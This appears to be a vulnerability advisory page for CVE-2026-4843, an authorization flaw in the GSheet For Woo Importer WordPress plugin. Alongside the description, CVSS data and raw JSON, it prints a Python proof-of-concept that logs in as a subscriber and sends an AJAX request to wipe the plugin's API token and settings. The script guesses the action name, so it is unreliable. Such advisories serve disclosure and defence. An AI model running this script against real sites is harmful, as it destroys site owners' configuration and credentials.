Security Vulnerability Report
中文
CVE-2026-4843 CVSS 4.3 MEDIUM

CVE-2026-4843

Published: 2026-05-21 20:16:15
Last Modified: 2026-05-21 21:03:56

Description

The GSheet For Woo Importer plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the process_ajax_restore_action() function in all versions up to, and including, 2.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's Google Sheets API token and configuration options.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GSheet For Woo Importer <= 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-4843 PoC Script # Target: WordPress GSheet For Woo Importer <= 2.3.1 TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" WP_USER = "subscriber" WP_PASS = "password" def exploit(): session = requests.Session() # 1. Login to get authenticated cookies login_url = "http://example.com/wp-login.php" payload = { "log": WP_USER, "pwd": WP_PASS, "redirect_to": "http://example.com/wp-admin/", "wp-submit": "Log In" } session.post(login_url, data=payload) # 2. Send malicious AJAX request to delete config # Note: The specific action name 'restore_action' is inferred from the function name process_ajax_restore_action exploit_data = { "action": "restore_action" } response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print("[+] Request sent successfully. Check if plugin configuration is wiped.") else: print("[-] Exploit failed.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4843", "sourceIdentifier": "[email protected]", "published": "2026-05-21T20:16:14.723", "lastModified": "2026-05-21T21:03:56.320", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GSheet For Woo Importer plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the process_ajax_restore_action() function in all versions up to, and including, 2.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's Google Sheets API token and configuration options."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/import-products-from-gsheet-for-woo-importer/tags/2.3.1/src/Actions/AdminSettingsAction.php#L391", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b0d60991-0675-4efa-9427-380e6b59fe28?source=cve", "source": "[email protected]"}]}}